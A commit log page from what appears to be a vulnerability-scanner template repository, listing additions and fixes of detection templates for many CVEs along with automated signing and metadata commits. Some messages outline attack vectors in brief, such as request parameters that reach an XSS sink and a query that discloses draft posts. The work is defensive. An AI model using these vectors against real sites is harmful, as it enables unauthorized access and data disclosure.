Compare commits

...
Author SHA1 Message Date
Dhiyaneshwaran d32b7dd7e9 Update and rename sshole-auth-bypass.yaml to CVE-2026-123158.yaml 2026-11-06 15:26:03 +05:30
Dhiyaneshwaran bd400560bf SSHole - OpenSSH/musl Password Auth Bypass 2026-11-05 23:56:45 +05:30
ghost 21dedc3f3d chore: generate templates checksum 🤖 2026-11-05 12:00:04 +00:00
ghost 7f56cdce5c chore: generate new addition list 🤖 2026-11-05 11:57:34 +00:00
ghost ec47cb3e5d chore: generate CVEs metadata 🤖 2026-11-05 11:57:08 +00:00
ghost 9b0afdbaa5 chore: sign templates 🤖 2026-11-05 11:57:01 +00:00
f4070c73d7 Add CVE-2026-119495 - Better Search unauthenticated arbitrary post type content disclosure (#17669)
* Add CVE-2026-119495 - Better Search unauthenticated arbitrary post type content disclosure

Better Search before 4.5.3 takes the seamless-mode post_type search argument directly from the request without restricting it to publicly queryable post types (fixed by get_allowed_post_types() in 4.5.3), letting unauthenticated visitors query internal post types such as revisions and disclose draft content through rendered search results. Detection: GET /?s=a&post_type=revision and matching post_type=revision&p= links, which WordPress core get_post_permalink() emits for revision entries rendered by the theme loop. Validated against mock endpoints implementing the diffed 4.5.2/4.5.3 behavior; no live instance available.

* Update CVE-2026-119495.yaml

* Update CVE-2026-119495.yaml

---------

Co-authored-by: maulanawirawan <[email protected]>
Co-authored-by: Aman Rawat <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-11-05 17:26:41 +05:30
ghost bce8c08c80 chore: generate templates checksum 🤖 2026-11-05 11:55:07 +00:00
ghost 28719848d9 chore: generate new addition list 🤖 2026-11-05 11:54:14 +00:00
ghost 25b484ea1a chore: generate CVEs metadata 🤖 2026-11-05 11:53:35 +00:00
ghost 870bc69eef chore: sign templates 🤖 2026-11-05 11:53:29 +00:00
fca372e8a7 Add CVE-2026-120597 - Welcart e-Commerce unauthenticated reflected XSS in ESCOTT error page (#17672)
* Add CVE-2026-120597 - Welcart e-Commerce unauthenticated reflected XSS in ESCOTT error page

Welcart e-Commerce before 2.12.7 reflects the unescaped ResponseCd request parameter in the e-SCOTT settlement error page (esc_html() added in 2.12.7). A plain unauthenticated GET to the cart page with acting_return=1, MerchantFree2=acting_escott_conv and the payload in ResponseCd reaches the sink. Detection: GET /usces-cart/ and /cart/ with those parameters, matching the raw payload reflection that the escaped output no longer contains. Validated against mock endpoints implementing the diffed 2.12.6/2.12.7 behavior; no live instance available.

* Anchor the CVE-2026-120597 matcher to the Welcart error page container

The honeypot check echoes the request URL with decoded query parameters, so a bare reflection matcher matched it. Require the hardcoded error_page_mesage container class alongside the raw reflection; the honeypot response does not contain it, while the vulnerable error page renders it regardless of translation.

* Update CVE-2026-120597.yaml

---------

Co-authored-by: maulanawirawan <[email protected]>
Co-authored-by: Aman Rawat <[email protected]>
2026-11-05 17:23:08 +05:30
ghost 017a1e28f8 chore: generate new addition list 🤖 2026-11-05 11:52:48 +00:00
ghost e3e49bea6f chore: generate CVEs metadata 🤖 2026-11-05 11:52:27 +00:00
ghost 8f2f696ff0 chore: sign templates 🤖 2026-11-05 11:52:07 +00:00
8a37cfcd78 Add CVE-2026-118523 - EventPrime unauthenticated pending post disclosure (#17685)
* Add CVE-2026-118523 - EventPrime unauthenticated pending post disclosure

* Update CVE-2026-118523.yaml

* Update CVE-2026-118523.yaml

---------

Co-authored-by: maulanawirawan <[email protected]>
Co-authored-by: Roberto Nunes <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-11-05 17:21:59 +05:30
Corey Ham 1ea6490f65 CVE-2025-4123: fix false positive on same-origin 302 reflections (#17679) 2026-11-05 17:21:46 +05:30
ghost c3ac015086 chore: generate templates checksum 🤖 2026-11-05 11:51:14 +00:00
ghost 65d400ce69 chore: sign templates 🤖 2026-11-05 11:48:20 +00:00
ghost 32090861c1 chore: generate templates checksum 🤖 2026-11-05 11:48:09 +00:00
FelixandDhiyaneshwaran cf1ca7ddf5 Update atlassian-crowd-panel: match current login title (#17666)
* Update atlassian-crowd-panel: match current login title, fix Shodan query and version extractor
### PR Information

- Updated `http/exposed-panels/atlassian-crowd-panel.yaml`

Current Crowd releases (confirmed on 7.2.4) are no longer detected:

- The login title changed to `Atlassian Crowd - Log into Atlassian`. Added it as a second matcher (`or`) next to the legacy title.
- The version moved to the page footer. Relaxed the regex to `Version:&nbsp;([\d.]+)` so it covers both layouts.
- The shodan-query pointed to Jira. Changed it to `http.component:"atlassian crowd"` and `http.title:"Atlassian Crowd"`.
- Added the `crowd,sso,login` tags.

Path, ID and request count are unchanged.

- References: https://www.atlassian.com/software/crowd

### Template validation

- [x] Validated with a host running a vulnerable version and/or configuration (True Positive)
- [x] Validated with a host running a patched version and/or configuration (avoid False Positive)

#### Additional Details

Before:

```bash
$ nuclei -target "https://crowd.feuerwache-wedel.de" -tags atlassian
[...]
```

After:
```bash
nuclei -target "https://crowd.feuerwache-wedel.de"  -tags atlassian
[...]
[atlassian-crowd-panel:version] [http] [info] https://crowd.feuerwache-wedel.de/crowd/console/login.action ["7.2.4"]
```

No matches on Jira, Confluence or generic sites.

* Update atlassian-crowd-panel.yaml

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-11-05 17:18:00 +05:30
ghost 932e5b8556 chore: generate new addition list 🤖 2026-11-05 11:46:35 +00:00
ghost f910cf1356 chore: generate CVEs metadata 🤖 2026-11-05 11:45:53 +00:00
ghost 167cb429f7 chore: sign templates 🤖 2026-11-05 11:45:49 +00:00
34603c8bc4 Add CVE-2026-115574 - Zulip Server unauthenticated custom profile field data disclosure via spectator endpoint (#17691)
* Add CVE-2026-115574 - Zulip Server unauthenticated custom profile field data disclosure via spectator endpoint

* Update CVE-2026-115574.yaml

---------

Co-authored-by: maulanawirawan <[email protected]>
Co-authored-by: Roberto Nunes <[email protected]>
2026-11-05 17:15:29 +05:30
ghost 540bd05239 chore: generate templates checksum 🤖 2026-11-05 11:37:18 +00:00
ghost e7ecbe9cc1 chore: generate new addition list 🤖 2026-11-05 11:35:00 +00:00
ghost 14811b80af chore: generate new addition list 🤖 2026-11-05 11:34:37 +00:00
ghost 7bfde363d8 chore: generate CVEs metadata 🤖 2026-11-05 11:34:25 +00:00
ghost 55e243c455 chore: sign templates 🤖 2026-11-05 11:34:15 +00:00
Roberto Nunes 7eb79e2c7f Merge pull request #17692 from TassioSales/add-cve-2026-22777
Add CVE-2026-22777 - ComfyUI-Manager CRLF config injection (#17687)
2026-11-05 20:33:52 +09:00
Roberto Nunes ee96e63200 Merge pull request #17695 from yaswanth77/add-cve-2026-12583
Add CVE-2026-12583 - Newsletters < 4.15 - Unauthenticated PHP Object Injection
2026-11-05 20:33:37 +09:00
ghost 6d63955497 chore: generate templates checksum 🤖 2026-11-05 11:30:41 +00:00
ghost 64c68c4630 chore: generate new addition list 🤖 2026-11-05 11:28:13 +00:00
ghost 972c33ca8c chore: generate CVEs metadata 🤖 2026-11-05 11:27:34 +00:00
ghost 002b9eb574 chore: sign templates 🤖 2026-11-05 11:27:27 +00:00
Roberto Nunes 815347c1f1 Merge pull request #17676 from maulanawirawan/cve-2026-120442-apevolo
Add CVE-2026-120442 - ape-volo-admin authentication bypass via hardcoded JWT signing key
2026-11-05 20:27:07 +09:00
ghost 7309c9e4f7 chore: generate templates checksum 🤖 2026-11-05 11:25:29 +00:00
ghost a3d8ab4bf5 chore: generate new addition list 🤖 2026-11-05 11:23:27 +00:00
ghost a9da1b517b chore: generate CVEs metadata 🤖 2026-11-05 11:22:51 +00:00
ghost 48bb898922 chore: sign templates 🤖 2026-11-05 11:22:48 +00:00
Aman Rawat 88bf52fe59 Merge pull request #17699 from projectdiscovery/CVE-2026-116548
CVE-2026-116548 - VikRentCar <= 1.4.10 - Cross-Site Scripting
2026-11-05 16:52:25 +05:30
Dhiyaneshwaran be29e3e702 Update CVE-2026-116548.yaml 2026-11-05 14:45:43 +05:30
Dhiyaneshwaran ed94652c81 Update CVE-2026-116548.yaml 2026-11-05 14:44:50 +05:30
Dhiyaneshwaran e493099608 Create CVE-2026-116548.yaml 2026-11-05 14:44:20 +05:30
Dhiyaneshwaran 9271debc13 Revise CVE-2026-12583 details and matchers
Updated the CVE-2026-12583 entry to clarify the vulnerability details and impact, including the potential for Remote Code Execution. Adjusted matchers and example payloads for better accuracy.
2026-11-05 14:29:37 +05:30
Dhiyaneshwaran 4d089dbe88 Update CVE-2026-22777.yaml 2026-11-05 12:08:31 +05:30
Aman Rawat fc2fd48f32 Update CVE-2026-120442.yaml 2026-11-05 10:58:00 +05:30
ghost 2a5199e231 chore: generate templates checksum 🤖 2026-11-05 05:11:27 +00:00
ghost fbb7ef8595 chore: generate new addition list 🤖 2026-11-05 05:09:28 +00:00
ghost 754b7183ef chore: generate CVEs metadata 🤖 2026-11-05 05:08:59 +00:00
ghost 7d9af1cf7a chore: sign templates 🤖 2026-11-05 05:08:53 +00:00
Aman Rawat 02b9fd6108 Merge pull request #17694 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-120201.yaml - Jpom 2.10.0-2.11.12 - Authentication Bypass
2026-11-05 10:38:32 +05:30
yaswanth77 2b302f60b8 Add CVE-2026-12583 - Newsletters < 4.15 PHP Object Injection 2026-11-04 22:21:18 -06:00
ghost 2028a95f19 chore: generate templates checksum 🤖 2026-11-05 03:11:44 +00:00
ghost 6833e05301 chore: sign templates 🤖 2026-11-05 03:08:40 +00:00
ghost 0ec31b7641 chore: update KEV and vKEV tags and metadata 🤖 2026-11-05 03:08:15 +00:00
Roberto Nunes 83b8f3a793 Create CVE-2026-120201.yaml 2026-11-05 11:16:32 +09:00
ghost fef763cd6e chore: generate templates checksum 🤖 2026-11-05 02:06:02 +00:00
ghost caab8bca05 chore: sign templates 🤖 2026-11-05 02:03:45 +00:00
ghost 81446f211d chore: update EPSS scores 🤖 2026-11-05 02:03:16 +00:00
ghost b7fa5ea03e chore: generate templates checksum 🤖 2026-11-05 01:56:43 +00:00
ghost 86ecdef658 chore: sign templates 🤖 2026-11-05 01:53:41 +00:00
Naoto NakanishiandClaude Fable 5.1 5491de20d1 fix(appsmith-info-disclosure): stop matching patched Appsmith (>= v1.98) (#17645)
The template matched any Appsmith instance because /api/v1/tenants/current
and /api/v1/consolidated-api/view intentionally stay reachable without
authentication (the login page uses them) and still return a 200 JSON
body after the fix. The fix in appsmithorg/appsmith#41598 (shipped in
v1.98) instead:

- removes instanceId and adminEmailDomainHash from those two responses
  for anonymous callers
- makes /api/v1/users/features return 401 for anonymous callers

Split the request so that the first two endpoints only match when one of
the removed fields is present, and /api/v1/users/features only matches
on an unauthenticated 200.

Verified: no match against a patched v1.99 instance (previously matched
on 2 URLs); matches against responses in the pre-fix shape.

Co-authored-by: Claude Fable 5.1 <[email protected]>
2026-11-05 07:23:17 +05:30
TassioSales 009accf485 Add CVE-2026-22777 - ComfyUI-Manager CRLF config injection (#17687)
Signed-off-by: TassioSales <[email protected]>
2026-11-04 19:18:20 -03:00
ghost 6f886171c0 chore: generate templates checksum 🤖 2026-11-04 04:55:15 +00:00
ghost 0ddafa119b chore: generate new addition list 🤖 2026-11-04 04:54:37 +00:00
ghost a182b17ab1 chore: generate CVEs metadata 🤖 2026-11-04 04:54:02 +00:00
ghost beaac8a983 chore: sign templates 🤖 2026-11-04 04:53:55 +00:00
Aman Rawat 781c2fd195 Merge pull request #17677 from projectdiscovery/cursor/add-cve-2026-96655-c977
CVE-2026-96655 - Plex Media Server < 1.43.3.10861 - SSRF via Transcoder
2026-11-04 10:23:33 +05:30
ghost a55e07ca97 chore: generate new addition list 🤖 2026-11-04 04:52:56 +00:00
ghost eb4bfaeb42 chore: generate templates checksum 🤖 2026-11-04 04:52:26 +00:00
ghost 599845939e chore: generate CVEs metadata 🤖 2026-11-04 04:52:21 +00:00
ghost 38f55bb513 chore: sign templates 🤖 2026-11-04 04:52:15 +00:00
Aman Rawat 43e772c3ab Merge pull request #17655 from k0pak4/template-cve-2026-75650
Add template for CVE-2026-75650 (StyleSmuggler)
2026-11-04 10:21:55 +05:30
ghost 68037e12e4 chore: generate new addition list 🤖 2026-11-04 04:50:46 +00:00
github-actions[bot] a8cf1a51b1 chore: add impact and remediation fields 🤖 2026-11-04 04:50:24 +00:00
ghost 024e5b6a42 chore: generate new addition list 🤖 2026-11-04 04:50:16 +00:00
ghost a73ac3e805 chore: sign templates 🤖 2026-11-04 04:50:04 +00:00
Aman Rawat 8930e5e5bb Merge pull request #17661 from HaroonArshad-53/add-prefect-api-exposure
Add Prefect Server unauthenticated API exposure template
2026-11-04 10:19:43 +05:30
Aman Rawat ff982c54e0 Merge pull request #17535 from kosoyyagent/cve-2026-114509
feat: add CVE-2026-114509 - Laravel TokenGuard auth bypass via non-string api_token
2026-11-04 10:19:24 +05:30
ghost 16ca2ca76a chore: generate templates checksum 🤖 2026-11-04 04:28:08 +00:00
ghost e4f80bb8bb chore: generate new addition list 🤖 2026-11-04 04:25:40 +00:00
ghost 11030ce6eb chore: generate CVEs metadata 🤖 2026-11-04 04:25:10 +00:00
ghost 22240c8d51 chore: sign templates 🤖 2026-11-04 04:25:01 +00:00
1c85af9682 Add CVE-2026-120446 - madong-admin-saas unauthenticated platform tenant management access (#17675)
* Add CVE-2026-120446 - madong-admin-saas unauthenticated platform tenant management access

* Update CVE-2026-120446.yaml

---------

Co-authored-by: maulanawirawan <[email protected]>
Co-authored-by: Roberto Nunes <[email protected]>
2026-11-04 09:54:42 +05:30
Dhiyaneshwaran b2d256d9b2 Update CVE-2026-96655 description for clarity
Removed unnecessary reference to 'plex2shell' in CVE description.
2026-11-04 09:46:11 +05:30
ghost 60d4564be6 chore: generate templates checksum 🤖 2026-11-04 04:15:04 +00:00
ghost 1423855b5a chore: generate new addition list 🤖 2026-11-04 04:12:33 +00:00
ghost 69ccc2b472 chore: generate CVEs metadata 🤖 2026-11-04 04:12:03 +00:00
ghost e350f8a757 chore: sign templates 🤖 2026-11-04 04:12:00 +00:00
c76fe0225b CVE-2026-54419 - PIAF-HMS ec.php SQL Injection (#17439)
* Add PIAF-HMS ec.php SQL injection detection template

* Update CVE-2026-54419.yaml

* Update CVE-2026-54419.yaml

---------

Co-authored-by: Ritik Chaddha <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-11-04 09:41:37 +05:30
ghost 2a2912bced chore: generate templates checksum 🤖 2026-11-04 04:06:41 +00:00
ghost bb6af1f7bc chore: sign templates 🤖 2026-11-04 04:04:32 +00:00
Alex Ryabov 08cd78e1d5 fix(CVE-2024-47575): correct client certificate helper path (#17443) 2026-11-04 09:34:13 +05:30
ghost 2450034ef7 chore: generate templates checksum 🤖 2026-11-04 03:48:27 +00:00
ghost 83406bc2ca chore: generate new addition list 🤖 2026-11-04 03:45:47 +00:00
ghost 601fa71e0f chore: sign templates 🤖 2026-11-04 03:45:20 +00:00
8f5082e10c Add JBoss AS/EAP Admin Console templates (panel + default-login) (#17664)
* Add Jboss templates

* Fix trailing whitespace (yamllint)

* Update jboss-admin-console-default-login.yaml

* Update jboss-admin-console-panel.yaml

* Update jboss-admin-console-default-login.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-11-04 09:14:58 +05:30
ghost bac555f672 chore: generate templates checksum 🤖 2026-11-04 03:41:37 +00:00
ghost 9157bce02f chore: generate new addition list 🤖 2026-11-04 03:41:28 +00:00
ghost a237e46026 chore: sign templates 🤖 2026-11-04 03:38:37 +00:00
Roberto Nunes 5f0af27a6c Merge pull request #17606 from rafaelsoje/add-coolify-panel
Add Coolify login panel detection template
2026-11-04 12:38:18 +09:00
ghost 60f768aca6 chore: generate templates checksum 🤖 2026-11-04 03:30:15 +00:00
Roberto Nunes f0b385d033 Fix formatting of shodan-query in coolify-panel.yaml 2026-11-04 12:28:23 +09:00
ghost c2de461740 chore: generate new addition list 🤖 2026-11-04 03:28:15 +00:00
ghost 41eadee0e2 chore: generate CVEs metadata 🤖 2026-11-04 03:27:28 +00:00
ghost 63cb0377b4 chore: sign templates 🤖 2026-11-04 03:27:18 +00:00
Roberto Nunes f8a33e72a4 Merge pull request #17656 from alex700/add/cve-2026-118539
Drupal Commerce Core - Anonymous Guest Cart Admin Access Bypass (CVE-2026-118539)
2026-11-04 12:26:59 +09:00
ghost f9e29a60ff chore: generate templates checksum 🤖 2026-11-04 03:11:26 +00:00
ghost 79250a98a6 chore: sign templates 🤖 2026-11-04 03:08:27 +00:00
ghost 020ebaec65 chore: update KEV and vKEV tags and metadata 🤖 2026-11-04 03:08:02 +00:00
Dhiyaneshwaran 99b957785e Update CVE-2026-96655.yaml 2026-11-04 08:14:50 +05:30
Cursor AgentandDhiyaneshwaran 181608125e Create CVE-2026-96655.yaml
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-11-04 02:40:11 +00:00
ghost 012d058562 chore: generate templates checksum 🤖 2026-11-04 02:06:30 +00:00
ghost ddfae11d75 chore: sign templates 🤖 2026-11-04 02:04:10 +00:00
ghost 0a723a5ad9 chore: update EPSS scores 🤖 2026-11-04 02:03:44 +00:00
Roberto Nunes 453d9d9571 Update prefect-api-exposure.yaml 2026-11-04 09:21:52 +09:00
maulanawirawan 35798f2b0f Add CVE-2026-120442 - ape-volo-admin authentication bypass via hardcoded JWT signing key 2026-11-04 06:54:28 +07:00
ghost 72dfb4c473 chore: generate templates checksum 🤖 2026-11-03 16:45:00 +00:00
Sārthak Mishra 90702e8202 docs: document template signing and # digest line in CONTRIBUTING.md (#17660) 2026-11-03 22:14:26 +05:30
Dhiyaneshwaran b14db44164 Update CVE-2026-75650.yaml 2026-11-03 16:55:32 +05:30
Dhiyaneshwaran eed0c15a86 Update CVE-2026-75650.yaml 2026-11-03 16:55:06 +05:30
ghost 8748542cf7 chore: generate templates checksum 🤖 2026-11-03 11:12:01 +00:00
ghost 4cd9537747 chore: generate new addition list 🤖 2026-11-03 11:09:35 +00:00
ghost 4cc142ea2d chore: generate CVEs metadata 🤖 2026-11-03 11:09:10 +00:00
ghost 6b09a27866 chore: sign templates 🤖 2026-11-03 11:09:07 +00:00
Aman Rawat b487a42497 Merge pull request #17609 from R0gfall/CVE-2026-88804
Add CVE-2026-88804 template
2026-11-03 16:38:43 +05:30
Haroon Arshad efc217d864 Add Prefect Server unauthenticated API exposure details
Added YAML configuration for Prefect Server unauthenticated API exposure, detailing its risks and remediation steps.
2026-11-03 16:03:19 +05:00
ghost 0b91849bb9 chore: generate templates checksum 🤖 2026-11-03 10:39:53 +00:00
github-actions[bot] ff348949ff chore: add impact and remediation fields 🤖 2026-11-03 10:37:51 +00:00
ghost 54319315c6 chore: generate new addition list 🤖 2026-11-03 10:37:49 +00:00
ghost 399292b599 chore: generate new addition list 🤖 2026-11-03 10:37:35 +00:00
ghost fbff68c399 chore: generate CVEs metadata 🤖 2026-11-03 10:37:27 +00:00
ghost 800b9210dd chore: sign templates 🤖 2026-11-03 10:37:21 +00:00
Roberto Nunes 12fd711bc7 Merge pull request #17435 from alex700/codex/cve-2026-105740
Add Langflow CVE-2026-105740 authenticated MCP RCE template
2026-11-03 19:36:59 +09:00
ghost ee7a46eec4 chore: generate CVEs metadata 🤖 2026-11-03 10:36:51 +00:00
ghost aa16c144e1 chore: sign templates 🤖 2026-11-03 10:36:46 +00:00
Roberto Nunes 72f64c3b8d Merge pull request #17585 from kosoyyagent/cve-2026-116817-openpanel
Add CVE-2026-116817 - OpenPanel Unauthenticated Bull Board Queue Dashboard
2026-11-03 19:36:22 +09:00
Aman Rawat 44484406d0 Update coolify-panel.yaml 2026-11-03 16:01:30 +05:30
ghost d999d23322 chore: generate templates checksum 🤖 2026-11-03 10:05:00 +00:00
ghost a411296c81 chore: generate new addition list 🤖 2026-11-03 10:02:55 +00:00
ghost 50502da33b chore: generate CVEs metadata 🤖 2026-11-03 10:02:02 +00:00
ghost 3bbf2e4755 chore: sign templates 🤖 2026-11-03 10:01:57 +00:00
Aman Rawat 3b1d08d57a Merge pull request #17563 from comradezephyr/patch-26
Add CVE-2026-109619 as a passive PHP version check
2026-11-03 15:31:36 +05:30
Aman Rawat 0326213ef3 Update CVE-2026-116817.yaml 2026-11-03 15:29:33 +05:30
Dhiyaneshwaran cb0acc4a4d Update CVE-2026-88804.yaml 2026-11-03 15:22:56 +05:30
ghost d2505c5363 chore: generate templates checksum 🤖 2026-11-03 08:45:02 +00:00
Ritik Chaddha 4959b9834e Update CVE-2026-109619.yaml 2026-11-03 14:14:20 +05:30
ghost a088f8b39c chore: generate new addition list 🤖 2026-11-03 08:42:24 +00:00
ghost fe99910421 chore: sign templates 🤖 2026-11-03 08:42:02 +00:00
Aman Rawat cc4b3ce5ab Merge pull request #17361 from alex700/codex/elementor-rest-nonce-bypass
Add Elementor REST nonce bypass template
2026-11-03 14:11:33 +05:30
Ritik Chaddha 0f3b7e87aa Update elementor-rest-nonce-bypass.yaml 2026-11-03 13:38:19 +05:30
Dhiyaneshwaran 63d6916cff Update CVE-2026-118539.yaml 2026-11-03 10:17:05 +05:30
ghost 6cbf487c00 chore: generate templates checksum 🤖 2026-11-03 04:08:02 +00:00
ghost a0e5a6d050 chore: generate new addition list 🤖 2026-11-03 04:05:43 +00:00
ghost 420fe6c39d chore: generate CVEs metadata 🤖 2026-11-03 04:05:02 +00:00
ghost a18ed213e2 chore: sign templates 🤖 2026-11-03 04:04:59 +00:00
Roberto Nunes 73e0703b4e Merge pull request #17658 from projectdiscovery/CVE-2026-102764
CVE-2026-102764 - BeyondTrust Remote Support <= 26.2.3 - Improper Origin Validation File Upload
2026-11-03 13:04:37 +09:00
Dhiyaneshwaran 7e1e4e7730 CVE-2026-102764 - BeyondTrust Remote Support <= 26.2.3 - Improper Origin Validation File Upload 2026-11-03 08:47:43 +05:30
ghost d60210a9cb chore: generate templates checksum 🤖 2026-11-03 03:11:20 +00:00
ghost 653f67a379 chore: sign templates 🤖 2026-11-03 03:08:21 +00:00
ghost 875b87203f chore: update KEV and vKEV tags and metadata 🤖 2026-11-03 03:07:54 +00:00
ghost 1ade6b8253 chore: generate templates checksum 🤖 2026-11-03 02:35:38 +00:00
ghost fbfdcf53c9 chore: sign templates 🤖 2026-11-03 02:34:32 +00:00
Roberto Nunes 88d411acdc Merge pull request #17617 from Tortuginator/ms-tenant-patch
Update Azure tenant detection: fix subdomain behaviour and add support for msappproxy
2026-11-03 11:34:12 +09:00
ghost 09e68dc9e6 chore: sign templates 🤖 2026-11-03 02:32:32 +00:00
684bb0d256 fix(dell-idrac9-detect): require both quoted iDRAC9 keys to avoid matching Apple AirPlay Receivers (#17653)
* fix(dell-idrac9-detect): require both quoted iDRAC9 keys to avoid matching Apple AirPlay device-info plists

The word matcher matched the substring BuildVersion, which is also
present in osBuildVersion inside Apple AirPlay device-info binary
plists, so any Mac with AirPlay Receiver enabled was detected as a
Dell iDRAC9 (issue #17611). Require both keys quoted exactly as the
iDRAC9 JSON emits them, and drop the stale digest line so the signing
workflow can re-sign on merge.

* Remove condition from Apple AirPlay device-info check

Removed unnecessary condition from device-info check.

* Update dell-idrac9-detect.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-11-03 08:02:08 +05:30
ghost 5488fddec7 chore: generate templates checksum 🤖 2026-11-03 02:31:08 +00:00
ghost a92f1937af chore: generate new addition list 🤖 2026-11-03 02:28:59 +00:00
ghost 31ee10f356 chore: generate CVEs metadata 🤖 2026-11-03 02:28:35 +00:00
ghost 1c1f9fda0a chore: sign templates 🤖 2026-11-03 02:28:18 +00:00
Roberto Nunes d7230eb9b2 Add CVE-2026-97229.yaml - GitLab CE/EE < 19.2.8 / 19.3.5 / 19.4.2 - Unauthenticated RCE via Onigmo Integer Overflow (#17657)
* Add CVE-2026-97229 vulnerability details

CVE-2026-97229 details added, including vulnerability description, impact, remediation, and HTTP request flow for exploitation.

* Update CVE-2026-97229.yaml
2026-11-03 07:57:56 +05:30
ghost dc8515a818 chore: generate templates checksum 🤖 2026-11-03 02:06:52 +00:00
ghost 7e222535c6 chore: sign templates 🤖 2026-11-03 02:03:57 +00:00
ghost 88f27e66e0 chore: update EPSS scores 🤖 2026-11-03 02:03:11 +00:00
ghost d2252a703f chore: generate templates checksum 🤖 2026-11-03 01:30:58 +00:00
ghost 191d4f5c9f chore: generate new addition list 🤖 2026-11-03 01:28:59 +00:00
ghost 5c420ec9f4 chore: generate CVEs metadata 🤖 2026-11-03 01:28:22 +00:00
ghost bef0c1c2a4 chore: sign templates 🤖 2026-11-03 01:28:06 +00:00
28233155b6 Add CVE-2026-112866 template (#17637)
* Add CVE-2026-112866 vulnerability details

This YAML file describes a critical SQL injection vulnerability in the Product Filter by WBW plugin for WordPress, detailing the impact, remediation steps, and example requests.

* Update CVE-2026-112866.yaml

* Update CVE-2026-112866.yaml

---------

Co-authored-by: Aman Rawat <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-11-03 06:57:45 +05:30
Alex Ryabov c670e7339c Use anonymous guest cart proof for CVE-2026-118539 2026-11-02 16:21:06 -08:00
Matthew Mathur 0136bae648 bolster matchers 2026-11-02 17:28:47 -05:00
Matthew Mathur 7a3bbe8cf8 use interactsh instead of local file 2026-11-02 17:04:13 -05:00
ghost 0a49c85705 chore: generate templates checksum 🤖 2026-11-02 17:46:47 +00:00
ghost f8ec3a5255 chore: generate new addition list 🤖 2026-11-02 17:43:31 +00:00
ghost 76c16fb4e9 chore: sign templates 🤖 2026-11-02 17:43:00 +00:00
Ritik Chaddha cdc4c8f831 Merge pull request #17614 from ayoubbuilds/add-bwapp-default-login
Added bwapp-default-login template
2026-11-02 23:12:36 +05:30
ghost fcfbc58286 chore: generate templates checksum 🤖 2026-11-02 17:41:17 +00:00
ghost 867a26908e chore: sign templates 🤖 2026-11-02 17:38:10 +00:00
491b4ae720 cisco-meraki-exposure: fix matcher that never matches the current local status page (#17618)
* cisco-meraki-exposure: fix matcher that never matches the current local status page

The template required a rendered sentence that current Meraki firmware
fills in with JavaScript, so it never matched the raw HTML. Match the
page's structural markers instead, and recognise the 307 to the device's
devices.meraki.direct HTTPS status page.

Co-Authored-By: Claude Mythos 5.1 <[email protected]>

* Update cisco-meraki-exposure.yaml

---------

Co-authored-by: Claude Mythos 5.1 <[email protected]>
Co-authored-by: Aman Rawat <[email protected]>
2026-11-02 23:07:47 +05:30
ghost 58e9923c36 chore: generate templates checksum 🤖 2026-11-02 17:02:11 +00:00
ghost 5af86de4fc chore: sign templates 🤖 2026-11-02 16:58:29 +00:00
Ritik Chaddha a87d5253ea Merge pull request #17620 from Tortuginator/haproxy-status-version
Extend existing haproxy status page template to extract version
2026-11-02 22:28:07 +05:30
ghost d40eabd329 chore: generate templates checksum 🤖 2026-11-02 16:57:57 +00:00
Ritik Chaddha c9c0b844f8 Update bwapp-default-login.yaml 2026-11-02 22:27:46 +05:30
ghost 180db82327 chore: generate new addition list 🤖 2026-11-02 16:54:57 +00:00
ghost c3ad5db465 chore: sign templates 🤖 2026-11-02 16:54:40 +00:00
Ritik Chaddha a90e75830e Merge pull request #17602 from Shaivarth/fix/una-cms-rce-false-positive
fix: reduces false positive in una-cms-rce
2026-11-02 22:24:17 +05:30
Ritik Chaddha 13910d4abb Merge pull request #17600 from ashish-cybersec/CVE-2026-116690
CVE-2026-116690 | MLflow 3.10.0-3.16.1 - Unauthenticated Arbitrary File Read
2026-11-02 22:24:05 +05:30
ghost 7100266b50 chore: generate new addition list 🤖 2026-11-02 16:51:52 +00:00
ghost b728d44ae0 chore: generate new addition list 🤖 2026-11-02 16:51:28 +00:00
ghost 05684939b3 chore: sign templates 🤖 2026-11-02 16:50:55 +00:00
Ritik Chaddha 9380d47e12 Merge pull request #17557 from projectdiscovery/Akokonunes-patch-11
Create CVE-2026-7873.yaml - Langflow 1.7.2-1.10.0 - Authenticated Remote Code Execution
2026-11-02 22:20:33 +05:30
Ritik Chaddha dae6e278cf Merge pull request #17530 from anirbala98/add-cve-2026-12970
Add CVE-2026-12970 - WordPress plugin LearnPress < 4.4.1 - Authenticated Reflected XSS
2026-11-02 22:20:17 +05:30
ghost d51bc5f132 chore: generate templates checksum 🤖 2026-11-02 16:47:44 +00:00
ghost a1d95c9237 chore: generate new addition list 🤖 2026-11-02 16:45:23 +00:00
ghost c77a39f832 chore: generate CVEs metadata 🤖 2026-11-02 16:44:46 +00:00
ghost a54e4c0dd0 chore: sign templates 🤖 2026-11-02 16:44:43 +00:00
Ritik Chaddha 19ea530b1f Merge pull request #17520 from sandiyochristan/add-CVE-2026-53468
Added CVE-2026-53468 - Typemill CMS Stored XSS Template
2026-11-02 22:14:19 +05:30
Ritik Chaddha 413f4f3617 Update CVE-2026-12970.yaml 2026-11-02 22:10:33 +05:30
Ritik Chaddha fe879e0a61 Update CVE-2026-53468.yaml 2026-11-02 22:08:57 +05:30
ghost eddca9090f chore: generate templates checksum 🤖 2026-11-02 06:55:28 +00:00
ghost d1f772c47b chore: generate new addition list 🤖 2026-11-02 06:52:59 +00:00
ghost 3d8ef2b9c7 chore: generate CVEs metadata 🤖 2026-11-02 06:52:28 +00:00
ghost 8a7fc44879 chore: sign templates 🤖 2026-11-02 06:52:25 +00:00
Roberto Nunes 7593301b5a Add CVE-2026-75128 YAML file for critical RCE (#17638) 2026-11-02 12:21:59 +05:30
ghost fc4102ea68 chore: generate templates checksum 🤖 2026-11-02 05:05:17 +00:00
ghost 2272a0d526 chore: generate new addition list 🤖 2026-11-02 05:03:28 +00:00
ghost 533cc5377f chore: sign templates 🤖 2026-11-02 05:02:43 +00:00
3f97d70ee0 Added Pocket ID panel detection template (#17636)
* Added Pocket ID panel detection template

